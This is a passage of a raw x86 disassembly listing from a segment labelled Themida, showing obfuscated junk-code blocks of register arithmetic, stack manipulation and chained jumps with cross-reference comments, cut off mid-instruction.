--------------------------------------------------------------------------- loc_557466: ; CODE XREF: Themida_:00551B55j sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx sub edi, 4 xchg edi, [esp] jmp loc_562E7B ; --------------------------------------------------------------------------- loc_557488: ; CODE XREF: Themida_:0055A436j mov eax, 4D7E4C76h sub edx, eax pop eax sub edx, 101C44DCh add edx, 2363727Eh add edx, ebx sub edx, 2363727Eh add edx, 101C44DCh add edx, 4D7E4C76h pop ebx sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi jmp loc_559D9C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5590BB ; --------------------------------------------------------------------------- loc_5574CB: ; CODE XREF: Themida_:00557CFCj or edi, 293F3568h xor edi, 0BBBF356Eh add esi, 5E726287h add esi, edi sub esi, 5E726287h pop edi sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_55A732 ; --------------------------------------------------------------------------- loc_5574FF: ; CODE XREF: Themida_:0055DF95j mov edi, 2E3D386Ch or edi, 28B6C46h push eax push edi jmp loc_5618DF ; --------------------------------------------------------------------------- loc_557511: ; CODE XREF: Themida_:0055870Ej mov al, ch jmp loc_556348 ; --------------------------------------------------------------------------- loc_557518: ; CODE XREF: Themida_:0055E97Fj pop ecx push edx jmp loc_55C1BB ; --------------------------------------------------------------------------- loc_55751F: ; CODE XREF: Themida_:0055B489j push ebx push esp pop ebx jmp loc_553C3C ; --------------------------------------------------------------------------- loc_557527: ; CODE XREF: Themida_:0056261Cj mov ecx, esi pop esi jmp loc_5644ED ; --------------------------------------------------------------------------- loc_55752F: ; CODE XREF: Themida_:0055AA03j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_563D51 ; --------------------------------------------------------------------------- loc_557549: ; CODE XREF: Themida_:0055382Dj add esp, 4 add esp, 4 jmp loc_56275E ; --------------------------------------------------------------------------- loc_557554: ; CODE XREF: Themida_:005593B0j add ebx, eax push eax mov eax, 53B31D60h sub eax, 49E6AE8Ah jmp loc_55311D ; --------------------------------------------------------------------------- loc_557566: ; CODE XREF: Themida_:0055FA01j push esp mov edx, [esp] add esp, 4 push edi sub esp, 4 mov [esp], edx push 3CF66F66h pop edx jmp loc_5575A4 ; --------------------------------------------------------------------------- loc_55757F: ; CODE XREF: Themida_:0055AF46j add esi, 45EB73F5h jmp loc_551D95 ; --------------------------------------------------------------------------- loc_55758A: ; CODE XREF: Themida_:005591DAj push ebp mov ebp, 76AE1865h shr ebp, 5 jmp loc_559FBF ; --------------------------------------------------------------------------- loc_557598: ; CODE XREF: Themida_:0055941Aj push esi not dword ptr [esp] push dword ptr [esp] jmp loc_55EEF5 ; --------------------------------------------------------------------------- loc_5575A4: ; CODE XREF: Themida_:0055757Aj inc edx or edx, 28EF7D55h add edx, 0EE4973Dh jmp loc_553E81 ; --------------------------------------------------------------------------- loc_5575B6: ; CODE XREF: Themida_:00565940j mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 mov [esp], eax push esp jmp loc_564301 ; --------------------------------------------------------------------------- loc_5575CC: ; CODE XREF: Themida_:0055E67Cj neg edx xchg eax, edx not eax xchg eax, edx push ebp push edx mov edx, 148E00DCh jmp loc_558777 ; --------------------------------------------------------------------------- loc_5575DE: ; CODE XREF: Themida_:00562027j push ebp push edi mov edi, 4D6009F2h mov ebp, edi pop edi inc ebp jmp loc_55F600 ; --------------------------------------------------------------------------- loc_5575EE: ; CODE XREF: Themida_:00557D67j mov dh, bh jmp loc_55ACB0 ; --------------------------------------------------------------------------- loc_5575F5: ; CODE XREF: Themida_:00559EBBj add eax, 65562DCEh pop edx sub edi, 6C184151h add edi, 13947924h add edi, eax sub edi, 13947924h add edi, 6C184151h mov eax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_565251 ; --------------------------------------------------------------------------- loc_55762A: ; CODE XREF: Themida_:00553133j push ebp mov ebp, 2C1E2069h shl ebp, 6 and ebp, 1B0A6167h add ebp, 4D9B3B81h jmp loc_556FF9 ; --------------------------------------------------------------------------- loc_557644: ; CODE XREF: Themida_:0055DE5Fj mov edi, [esp] add esp, 4 add edi, eax push dword ptr [esp] pop eax push 40DAh mov [esp], ecx mov ecx, esp jmp loc_55DFF3 ; --------------------------------------------------------------------------- loc_55765F: ; CODE XREF: Themida_:0055410Cj mov [esp], eax jmp loc_558980 ; --------------------------------------------------------------------------- loc_557667: ; CODE XREF: Themida_:0055F54Fj neg ah jmp loc_55CBE1 ; --------------------------------------------------------------------------- loc_55766E: ; CODE XREF: Themida_:005546CDj sub ecx, 2EDE08BBh mov ebx, [esp] add esp, 4 jmp loc_561D2D ; --------------------------------------------------------------------------- loc_55767F: ; CODE XREF: Themida_:0055FD05j add ebp, 34FDC98Eh mov eax, ebp pop ebp add eax, edx pop edx jmp loc_560B7C ; --------------------------------------------------------------------------- loc_557690: ; CODE XREF: Themida_:00565AEFj push 6959h mov [esp], ecx mov ecx, 348404E4h xor ecx, 348404E0h add eax, ecx pop ecx sub esp, 4 mov [esp], ecx mov ecx, 4 sub eax, 2A4021F8h add eax, ecx add eax, 2A4021F8h pop ecx jmp loc_55CB28 ; --------------------------------------------------------------------------- loc_5576C6: ; CODE XREF: Themida_:00562FF6j inc esi dec esi push ecx mov ecx, 7E7902B7h shl ecx, 6 push esi mov esi, 26CC0017h jmp loc_565355 ; --------------------------------------------------------------------------- loc_5576DC: ; CODE XREF: Themida_:0055B297j push small 2 mov di, [esp] jmp loc_55BA6A ; --------------------------------------------------------------------------- loc_5576E9: ; CODE XREF: Themida_:00551226j add esi, 75A25212h pop edx add esi, 4 xchg esi, [esp] jmp loc_557B14 ; --------------------------------------------------------------------------- loc_5576FB: ; CODE XREF: Themida_:0055C7F4j mov [esp], edi push ebx mov ebx, 195234A4h add ebx, 0FFFFFFFFh jmp loc_557774 ; --------------------------------------------------------------------------- loc_55770F: ; CODE XREF: Themida_:005510A9j add esi, edi sub esi, 79521123h pop edi jmp loc_55088A ; --------------------------------------------------------------------------- loc_55771D: ; CODE XREF: Themida_:00559A8Dj pop edx jmp loc_558807 ; --------------------------------------------------------------------------- loc_557723: ; CODE XREF: Themida_:005648C0j push ebx push eax pop ebx mov esi, ebx jmp loc_550B23 ; --------------------------------------------------------------------------- loc_55772D: ; CODE XREF: Themida_:00552E4Aj mov dl, 0BDh jmp loc_55EB8F ; --------------------------------------------------------------------------- loc_557734: ; CODE XREF: Themida_:0055A01Ej mov eax, [esp] add esp, 4 push edi jmp loc_55C629 ; --------------------------------------------------------------------------- loc_557740: ; CODE XREF: Themida_:00557202j shl edx, 1 jmp loc_565697 ; --------------------------------------------------------------------------- mov ax, [esp] push esi sub esp, 4 sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5538F6 ; --------------------------------------------------------------------------- loc_55776C: ; CODE XREF: Themida_:005634F0j sub esp, 4 jmp loc_55B4F4 ; --------------------------------------------------------------------------- loc_557774: ; CODE XREF: Themida_:0055770Aj shr ebx, 4 shr ebx, 2 jmp loc_5521E4 ; --------------------------------------------------------------------------- loc_55777F: ; CODE XREF: Themida_:0055ED70j push edx mov edx, 39F7139Dh add edx, 5B6A496Ch jmp loc_5571FF ; --------------------------------------------------------------------------- loc_557790: ; CODE XREF: Themida_:0055E927j sub ecx, 9DAC06Bh xor eax, ecx pop ecx add esi, eax pop eax jmp loc_55B436 ; --------------------------------------------------------------------------- loc_5577A1: ; CODE XREF: Themida_:00556793j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55E569 ; --------------------------------------------------------------------------- loc_5577AF: ; CODE XREF: Themida_:00550F9Ej pop ecx jmp loc_560F93 ; --------------------------------------------------------------------------- loc_5577B5: ; CODE XREF: Themida_:00561939j xor [esp], ebp xor ebp, [esp] jmp loc_562C8D ; --------------------------------------------------------------------------- loc_5577C0: ; CODE XREF: Themida_:0055581Bj mov [esp], ebx jmp loc_5636AE ; --------------------------------------------------------------------------- loc_5577C8: ; CODE XREF: Themida_:00554E7Aj mov ax, [esp] jmp loc_562C10 ; --------------------------------------------------------------------------- loc_5577D1: ; CODE XREF: Themida_:00564676j push eax jmp loc_558214 ; --------------------------------------------------------------------------- loc_5577D7: ; CODE XREF: Themida_:0055C4B3j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push esi mov esi, 673031B3h neg esi xchg ebx, esi not ebx xchg ebx, esi or esi, 1B6634A4h and esi, 364573BBh xor esi, 364431B3h sub ecx, esi jmp loc_55D6C3 ; --------------------------------------------------------------------------- push 41F0h mov [esp], ebp push ebx jmp loc_55F9C6 ; --------------------------------------------------------------------------- loc_557817: ; CODE XREF: Themida_:00560638j mov eax, edx mov edx, [esp] push ebx mov ebx, esp jmp loc_554119 ; --------------------------------------------------------------------------- loc_557824: ; CODE XREF: Themida_:0055156Bj mov eax, 47C377AFh xor eax, 285474EDh jmp loc_562CF0 ; --------------------------------------------------------------------------- loc_557833: ; CODE XREF: Themida_:00552EA2j mov ch, 4Ah add ch, al pop eax add ch, 0B3h shl ch, 8 jmp loc_55DEA7 ; --------------------------------------------------------------------------- loc_557843: ; CODE XREF: Themida_:00564943j pop edi jmp loc_5550C6 ; --------------------------------------------------------------------------- loc_557849: ; CODE XREF: Themida_:00564D83j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55784E: ; CODE XREF: Themida_:0055A9B1j mov edx, [esp] jmp loc_5608F7 ; --------------------------------------------------------------------------- loc_557856: ; CODE XREF: Themida_:005649EDj mov ebp, [esp] add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_563E22 ; --------------------------------------------------------------------------- loc_55786E: ; CODE XREF: Themida_:00554ABFj mov eax, [esp] push ecx jmp loc_55478F ; --------------------------------------------------------------------------- loc_557877: ; CODE XREF: Themida_:00563703j mov ecx, 6AF94FC1h sub eax, ecx jmp loc_554384 ; --------------------------------------------------------------------------- loc_557883: ; CODE XREF: Themida_:0055E639j mov esi, [esp] add esp, 4 and edx, 0B4D557Fh sub edx, 965829BEh jmp loc_562F19 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push 7DC8h push esp pop dword ptr [esp] push edi jmp loc_560491 ; --------------------------------------------------------------------------- loc_5578B6: ; CODE XREF: Themida_:00564099j pop ebp push ecx mov ecx, 359147DEh add eax, ecx pop ecx push dword ptr [esp] pop ebx add esp, 4 push ecx jmp loc_564F43 ; --------------------------------------------------------------------------- loc_5578CD: ; CODE XREF: Themida_:00563BEEj pop edx jmp loc_55121E ; --------------------------------------------------------------------------- loc_5578D3: ; CODE XREF: Themida_:0055C8D4j sub ecx, 3E927902h jmp loc_5606B2 ; --------------------------------------------------------------------------- loc_5578DE: ; CODE XREF: Themida_:00559BBFj push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax mov eax, 2 add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov ax, [esp] push 6471h mov [esp], esi mov esi, esp add esi, 4 push edi jmp loc_559E44 ; --------------------------------------------------------------------------- loc_557924: ; CODE XREF: Themida_:00560ADAj sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_550FF2 ; --------------------------------------------------------------------------- loc_557931: ; CODE XREF: Themida_:00564B03j xor edx, ecx jmp loc_55BD0E ; --------------------------------------------------------------------------- loc_557938: ; CODE XREF: Themida_:005608A8j mov ch, 9Bh and al, ch pop ecx jmp loc_55FDDF ; --------------------------------------------------------------------------- loc_557942: ; CODE XREF: Themida_:00561351j mov dh, 0C9h push ebx mov bh, 65h inc bh push ax mov al, 59h and bh, al pop ax jmp loc_553B59 ; --------------------------------------------------------------------------- loc_557956: ; CODE XREF: Themida_:005553ABj add ebx, eax add ebx, 6D371430h jmp loc_559DC1 ; --------------------------------------------------------------------------- loc_557963: ; CODE XREF: Themida_:00558C15j push eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55796A: ; CODE XREF: Themida_:005531A3j pop eax push edx jmp loc_5539E4 ; --------------------------------------------------------------------------- loc_557971: ; CODE XREF: Themida_:00558461j push 61CAh mov [esp], eax jmp loc_5594D1 ; --------------------------------------------------------------------------- loc_55797E: ; CODE XREF: Themida_:005592D6j xor eax, 55E26660h dec eax inc eax jmp loc_562404 ; --------------------------------------------------------------------------- loc_55798A: ; CODE XREF: Themida_:00560AD4j push esp pop ebx add ebx, 4 jmp loc_5652E9 ; --------------------------------------------------------------------------- loc_557997: ; CODE XREF: Themida_:005535F1j add edx, 6E3C4A97h mov eax, [esp] add esp, 4 jmp loc_559DA5 ; --------------------------------------------------------------------------- loc_5579AB: ; CODE XREF: Themida_:00558579j mov [esp], ebx push eax push edi mov edi, 16640D2Eh jmp loc_560192 ; --------------------------------------------------------------------------- loc_5579BA: ; CODE XREF: Themida_:0055B836j mov dh, 0CDh add bl, dh jmp loc_55A44C ; --------------------------------------------------------------------------- loc_5579C3: ; CODE XREF: Themida_:00565064j xor eax, [esp] mov esp, [esp] jmp loc_55CC44 ; --------------------------------------------------------------------------- loc_5579CE: ; CODE XREF: Themida_:00561150j push 1FABh mov [esp], edx mov edi, [esp] add esp, 4 jmp loc_55B959 ; --------------------------------------------------------------------------- loc_5579E4: ; CODE XREF: Themida_:00553A83j push 4576h mov [esp], ebx jmp loc_55BDE8 ; --------------------------------------------------------------------------- loc_5579F1: ; CODE XREF: Themida_:0055C2AEj shl ebx, 2 sub ebx, 0C9FF6BB3h sub ebp, ebx jmp loc_554503 ; --------------------------------------------------------------------------- loc_557A01: ; CODE XREF: Themida_:00562E19j push eax mov eax, esp push ebp mov ebp, esp jmp loc_557F04 ; --------------------------------------------------------------------------- loc_557A0C: ; CODE XREF: Themida_:0055056Cj mov edi, 15480C8Bh xor edi, 48102401h xor edi, 5D58288Eh add ebx, edi mov edi, [esp] jmp loc_563BA8 ; --------------------------------------------------------------------------- loc_557A27: ; CODE XREF: Themida_:0055484Cj xchg eax, ebp pop ebp and eax, 788E7634h shl eax, 3 or eax, 21E554D7h sub eax, 0A5F7F4D3h add edi, eax jmp loc_55DBC3 ; --------------------------------------------------------------------------- loc_557A42: ; CODE XREF: Themida_:005537F7j sub esi, 8A64686h add esi, ebp add esi, 8A64686h pop ebp pop edx jmp loc_556531 ; --------------------------------------------------------------------------- loc_557A57: ; CODE XREF: Themida_:00563EA3j or edi, edx pop edx shr edi, 2 xor edi, 483941B8h sub edi, 8A64270Fh jmp loc_56215B ; --------------------------------------------------------------------------- loc_557A6E: ; CODE XREF: Themida_:00562423j push dword ptr [esp] mov edx, [esp] jmp loc_5625D3 ; --------------------------------------------------------------------------- loc_557A79: ; CODE XREF: Themida_:00556785j add esi, 0F93B462Fh mov edi, esi jmp loc_55E41B ; --------------------------------------------------------------------------- loc_557A86: ; CODE XREF: Themida_:00564535j push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx jmp loc_55FBC1 ; --------------------------------------------------------------------------- loc_557A97: ; CODE XREF: Themida_:0055C39Dj sub ecx, ebp pop ebp xchg ecx, [esp] jmp loc_564E7F ; --------------------------------------------------------------------------- loc_557AA2: ; CODE XREF: Themida_:0055646Ej push dword ptr [esp] pop esi jmp loc_5520B2 ; --------------------------------------------------------------------------- loc_557AAB: ; CODE XREF: Themida_:00554147j mov edx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 push 0F47h mov [esp], edi mov edi, 4 add ebp, edi pop edi jmp loc_559000 ; --------------------------------------------------------------------------- loc_557ACF: ; CODE XREF: Themida_:005591E9j jmp loc_550420 ; --------------------------------------------------------------------------- loc_557AD4: ; CODE XREF: Themida_:00564F5Dj mov [esp], edx push 519D6943h mov edx, [esp] add esp, 4 jmp loc_562EEB ; --------------------------------------------------------------------------- loc_557AE7: ; CODE XREF: Themida_:0055C235j pop eax push esi mov edx, [esp] jmp loc_55859D ; --------------------------------------------------------------------------- loc_557AF1: ; CODE XREF: Themida_:0055ED47j push edi mov edi, 7CE23A6Ah push ebp mov ebp, 59542447h and ebp, 0AC81D4Dh add ebp, 7ADDC155h add edi, ebp pop ebp add eax, edi pop edi jmp loc_552B21 ; --------------------------------------------------------------------------- loc_557B14: ; CODE XREF: Themida_:005576F6j pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 push eax jmp loc_55705D ; --------------------------------------------------------------------------- loc_557B27: ; CODE XREF: Themida_:0055B14Aj mov edi, 29A44803h sub edi, 28123722h sub eax, edi pop edi mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5646CC ; --------------------------------------------------------------------------- loc_557B46: ; CODE XREF: Themida_:0055583Ej mov edx, [esp] add esp, 4 add ebp, ecx pop ecx jmp loc_55C9C2 ; --------------------------------------------------------------------------- loc_557B57: ; CODE XREF: Themida_:0055455Bj xchg edi, [esp] pop esp jmp loc_551F93 ; --------------------------------------------------------------------------- loc_557B60: ; CODE XREF: Themida_:00564082j pop ebp sub ebx, 45433405h add ebx, ecx add ebx, 45433405h jmp loc_554FBE ; --------------------------------------------------------------------------- loc_557B74: ; CODE XREF: Themida_:00558319j add edx, 4F4C01B0h mov edi, edx pop edx jmp loc_558593 ; --------------------------------------------------------------------------- loc_557B82: ; CODE XREF: Themida_:0055B6AFj add edi, eax jmp loc_55DA1F ; --------------------------------------------------------------------------- loc_557B89: ; CODE XREF: Themida_:0055515Bj mov ebp, [esp] jmp loc_55B850 ; --------------------------------------------------------------------------- loc_557B91: ; CODE XREF: Themida_:00559280j push edi mov edi, 2 jmp loc_55D6CD ; --------------------------------------------------------------------------- loc_557B9C: ; CODE XREF: Themida_:00553490j mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp sub bl, 0FAh jmp loc_556473 ; --------------------------------------------------------------------------- loc_557BB3: ; CODE XREF: Themida_:0055868Cj sub esp, 4 mov [esp], eax jmp loc_55669F ; --------------------------------------------------------------------------- loc_557BC1: ; CODE XREF: Themida_:0055355Dj pop edi push edi mov edi, 14E8083Ch sub edi, 33171AC5h neg edi push ebx mov ebx, 31CB2A5Dh jmp loc_55EE41 ; --------------------------------------------------------------------------- loc_557BDB: ; CODE XREF: Themida_:0055E688j add esi, 6F1A3EB0h xor esi, 0A6A1536h xor esi, 0FE66C701h add eax, 3F361101h add eax, esi sub eax, 3F361101h pop esi add eax, 4 xchg eax, [esp] pop esp push edx mov edx, esp push eax mov eax, 4 add edx, 20CC02BEh add edx, eax sub edx, 20CC02BEh push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55F7C1 ; --------------------------------------------------------------------------- loc_557C2D: ; CODE XREF: Themida_:005655BFj push dword ptr [esp] pop ebx jmp loc_55F8C7 ; --------------------------------------------------------------------------- loc_557C36: ; CODE XREF: Themida_:005561CBj mov ecx, 297A170Ch add ebx, ecx jmp loc_563E16 ; --------------------------------------------------------------------------- loc_557C42: ; CODE XREF: Themida_:00559A3Fj mov cl, 53h inc cl push edx push ebx jmp loc_55860E ; --------------------------------------------------------------------------- loc_557C4D: ; CODE XREF: Themida_:0055F5A6j add ebx, edi jmp loc_563DEA ; --------------------------------------------------------------------------- loc_557C54: ; CODE XREF: Themida_:00564E7Aj push edi push ebx push 5F7255A7h pop ebx push edx mov edx, 43E71E65h xor edx, 382607FAh and edx, 4F140BBEh jmp loc_55C208 ; --------------------------------------------------------------------------- loc_557C73: ; CODE XREF: Themida_:00551761j mov [esp], esi mov esi, 300F745Ah jmp loc_556689 ; --------------------------------------------------------------------------- loc_557C80: ; CODE XREF: Themida_:00565CB1j sub ecx, edi pop edi pop eax add ecx, eax jmp loc_55EE1B ; --------------------------------------------------------------------------- loc_557C8B: ; CODE XREF: Themida_:00565008j mov edi, 524E20F4h and edi, 280B012Fh dec edi add edi, 869FF9F1h add ebp, edi mov edi, [esp] add esp, 4 mov esi, ebp pop ebp add esi, 8E34EB10h add ebx, esi push dword ptr [esp] pop esi add esp, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_55676D ; --------------------------------------------------------------------------- loc_557CC7: ; CODE XREF: Themida_:00560A13j pop ecx jmp loc_56477B ; --------------------------------------------------------------------------- loc_557CCD: ; CODE XREF: Themida_:00559430j mov esp, [esp] div ecx push 473Bh mov [esp], edx push eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_557CE1: ; CODE XREF: Themida_:00565788j pop ebx pop ecx push ebp push eax mov eax, esp jmp loc_560FEB ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx jmp loc_55CD91 ; --------------------------------------------------------------------------- loc_557CF6: ; CODE XREF: Themida_:0055671Bj sub edi, 67FC547Fh jmp loc_5574CB ; --------------------------------------------------------------------------- loc_557D01: ; CODE XREF: Themida_:00563587j xchg edi, [esp] pop esp mov [esp], ecx jmp loc_5644C2 ; --------------------------------------------------------------------------- loc_557D0D: ; CODE XREF: Themida_:0055E02Aj push esp push dword ptr [esp] pop ebx jmp loc_565279 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_556BF0 ; --------------------------------------------------------------------------- loc_557D20: ; CODE XREF: Themida_:0055D2A1j xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jz loc_5646DB push dword ptr [edi+1Ch] mov ecx, [esp] push 525Eh jmp loc_5585AB ; --------------------------------------------------------------------------- loc_557D41: ; CODE XREF: Themida_:0055850Fj neg bh push eax mov ah, 2Fh and ah, 7Bh and ah, 91h neg ah push ebx mov bl, 49h add bl, 0B8h sub ah, bl pop ebx dec ah xor ah, 50h sub bh, ah mov eax, [esp] add esp, 4 jmp loc_5575EE ; --------------------------------------------------------------------------- loc_557D6C: ; CODE XREF: Themida_:00561A4Fj mov edx, eax pop eax pop ecx add edi, 6C644B74h sub edi, edx push ecx jmp loc_555EB3 ; --------------------------------------------------------------------------- loc_557D7E: ; CODE XREF: Themida_:005635A8j add ebx, 2F5E63F5h add ebx, 6A2EF4Ch jmp loc_55433D ; --------------------------------------------------------------------------- loc_557D8F: ; CODE XREF: Themida_:0055C4BAj mov ebp, 3AB04226h mov esi, 48EB426Eh sub esi, 66B7164h add esi, 8AB65A7h sub esi, ebp jmp loc_554CBA ; --------------------------------------------------------------------------- loc_557DAC: ; CODE XREF: Themida_:0055803Ej mov [esp], ebp mov ebp, 2B0257E6h shl ebp, 7 jmp loc_55AB80 ; --------------------------------------------------------------------------- loc_557DBC: ; CODE XREF: Themida_:0056516Aj add ebx, 4 push edx mov edx, 3C046F1Bh jmp loc_55EB1C ; --------------------------------------------------------------------------- loc_557DCD: ; CODE XREF: Themida_:00560396j add ebx, ecx push ecx mov ecx, 7EFC7343h sub ebx, ecx pop ecx jmp loc_56582D ; --------------------------------------------------------------------------- loc_557DDD: ; CODE XREF: Themida_:00552306j add ax, 6594h mov bx, [esp] push 72CEh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5658C1 ; --------------------------------------------------------------------------- loc_557DFA: ; CODE XREF: Themida_:00552123j mov eax, [esp] add esp, 4 neg cx xchg bp, cx not bp xchg bp, cx not cx push bx mov bx, 5BAFh xor cx, bx jmp loc_553403 ; --------------------------------------------------------------------------- loc_557E20: ; CODE XREF: Themida_:0055B85Cj xchg ebx, [esp] pop esp shr edx, 2 push ecx mov ecx, 14D86B32h or ecx, 64B0266h shl ecx, 8 push edi mov edi, 35EB1B41h push ebx mov ebx, 0AB63CED6h sub edi, ebx pop ebx jmp loc_561325 ; --------------------------------------------------------------------------- loc_557E4A: ; CODE XREF: Themida_:0055E01Dj push 5E0Fh jmp loc_5595C8 ; --------------------------------------------------------------------------- loc_557E54: ; CODE XREF: Themida_:0055AD00j add ebp, 9043658h sub ebp, edi sub ebp, 9043658h pop edi push ebx mov ebx, 0 jmp loc_551AA8 ; --------------------------------------------------------------------------- mov cx, [esp] push 0F4Fh mov [esp], edx jmp loc_55440D ; --------------------------------------------------------------------------- loc_557E7F: ; CODE XREF: Themida_:00562B81j push ecx pop eax jmp loc_5611A2 ; --------------------------------------------------------------------------- loc_557E86: ; CODE XREF: Themida_:00558F46j sub ebp, 1410E5Ah jmp loc_55B76B ; --------------------------------------------------------------------------- loc_557E91: ; CODE XREF: Themida_:0055FA8Dj or ecx, 514248C8h push eax mov eax, 0CFABE8ACh sub ecx, eax pop eax mov ebx, ecx pop ecx sub eax, 7F57843h jmp loc_554AC4 ; --------------------------------------------------------------------------- loc_557EAD: ; CODE XREF: Themida_:005631F8j pop edx and eax, ebp pop ebp or eax, eax jz loc_55448D push 19ADh mov [esp], ebx push 68BAh mov [esp], ebp push 378C5DAAh jmp loc_5636BF ; --------------------------------------------------------------------------- loc_557ED3: ; CODE XREF: Themida_:00562938j pop ebx add esp, 4 add eax, ebx sub eax, 50F3090Fh mov ebx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5540A1 ; --------------------------------------------------------------------------- loc_557EF3: ; CODE XREF: Themida_:0055C2DDj shr edx, 8 inc edx shr edx, 1 push edi mov edi, 6FDF3238h jmp loc_565959 ; --------------------------------------------------------------------------- loc_557F04: ; CODE XREF: Themida_:00557A07j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 37AA187Ch pop esi sub esi, 37AA1878h jmp loc_56556F ; --------------------------------------------------------------------------- loc_557F25: ; CODE XREF: Themida_:00560B35j mov [esp], ecx push 617D34A3h push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, 48844F5Dh and ebx, 73BF6C15h add ebx, 97AAACB3h add ecx, ebx pop ebx push 442h mov [esp], ecx pop esi mov ecx, [esp] push ebp jmp loc_5547F9 ; --------------------------------------------------------------------------- loc_557F5E: ; CODE XREF: Themida_:005504E1j neg esi xchg esi, edx jmp loc_560400 ; --------------------------------------------------------------------------- loc_557F67: ; CODE XREF: Themida_:005630F3j shr edi, 7 push esi mov esi, 1E3F3CECh jmp loc_55A05D ; --------------------------------------------------------------------------- loc_557F75: ; CODE XREF: Themida_:0055F785j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov dh, 1 add cl, 83h jmp loc_5509C5 ; --------------------------------------------------------------------------- loc_557F94: ; CODE XREF: Themida_:0055C3E8j mov al, 0F9h push ecx push ebx mov bl, al jmp loc_556277 ; --------------------------------------------------------------------------- loc_557F9F: ; CODE XREF: Themida_:00560C4Bj push ax mov ah, 0Fh xor ch, ah pop ax sub esp, 4 mov [esp], edx mov dl, ch push ecx mov cl, dl mov bh, cl pop ecx mov edx, [esp] add esp, 4 mov ecx, [esp] jmp loc_55BAF4 ; --------------------------------------------------------------------------- loc_557FC9: ; CODE XREF: Themida_:00552E32j pop ebx sub esi, ecx pop ecx jmp loc_55E6BF ; --------------------------------------------------------------------------- loc_557FD2: ; CODE XREF: Themida_:00556963j push edx jmp loc_551892 ; --------------------------------------------------------------------------- loc_557FD8: ; CODE XREF: Themida_:00563719j add edx, 3CCB7CE6h pop esi sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax pop eax xor edx, [esp] xor [esp], edx jmp loc_5648C5 ; --------------------------------------------------------------------------- loc_557FF8: ; CODE XREF: Themida_:00564EDEj push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] pop esp sub bl, 0CDh add bl, 2Bh jmp loc_559805 ; --------------------------------------------------------------------------- mov cx, [esp] push 14ADh mov [esp], ebp push edi push esp pop edi add edi, 4 push eax jmp loc_555BF1 ; --------------------------------------------------------------------------- loc_55802F: ; CODE XREF: Themida_:00554B84j push edx mov edx, 59E81681h or edx, 31467D45h sub esp, 4 jmp loc_557DAC ; --------------------------------------------------------------------------- loc_558043: ; CODE XREF: Themida_:0055A4B8j not dh not dh jmp loc_5551A5 ; --------------------------------------------------------------------------- loc_55804C: ; CODE XREF: Themida_:00559764j sub edx, eax pop eax add edx, 4C1E6558h jmp loc_5546FA ; --------------------------------------------------------------------------- loc_55805A: ; CODE XREF: Themida_:0055E1E1j add ebp, 309210DEh or ebp, 52127436h xor ebp, 0FC986395h mov edx, ebp jmp loc_56385D ; --------------------------------------------------------------------------- loc_558073: ; CODE XREF: Themida_:0056398Bj mov cl, al mov bh, cl pop ecx jmp loc_55A417 ; --------------------------------------------------------------------------- loc_55807D: ; CODE XREF: Themida_:0056450Ej pop ebp jmp loc_55239E ; --------------------------------------------------------------------------- loc_558083: ; CODE XREF: Themida_:00552D2Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55EF81 ; --------------------------------------------------------------------------- loc_558097: ; CODE XREF: Themida_:005546ACj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5601FA ; --------------------------------------------------------------------------- loc_5580AB: ; CODE XREF: Themida_:00552876j push ecx mov ch, 0B9h xor ch, 0BDh dec ch sub ch, 6 jmp loc_565235 ; --------------------------------------------------------------------------- loc_5580BB: ; CODE XREF: Themida_:0055C5B0j mov ebp, 79B912B0h push edi mov edi, 4BE901F3h jmp loc_55F2B9 ; --------------------------------------------------------------------------- loc_5580CB: ; CODE XREF: Themida_:0055CDEDj push esi xor dword ptr [esp], 25F22A7Fh pop eax xor eax, 25F22A7Fh mov esi, [esp] add esp, 4 add eax, edi mov edi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and eax, 3A56393Ch sub eax, 399621C0h jmp loc_555461 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push 319Bh jmp loc_5513F1 ; --------------------------------------------------------------------------- loc_55811D: ; CODE XREF: Themida_:0055B358j mov [esp], ecx push dword 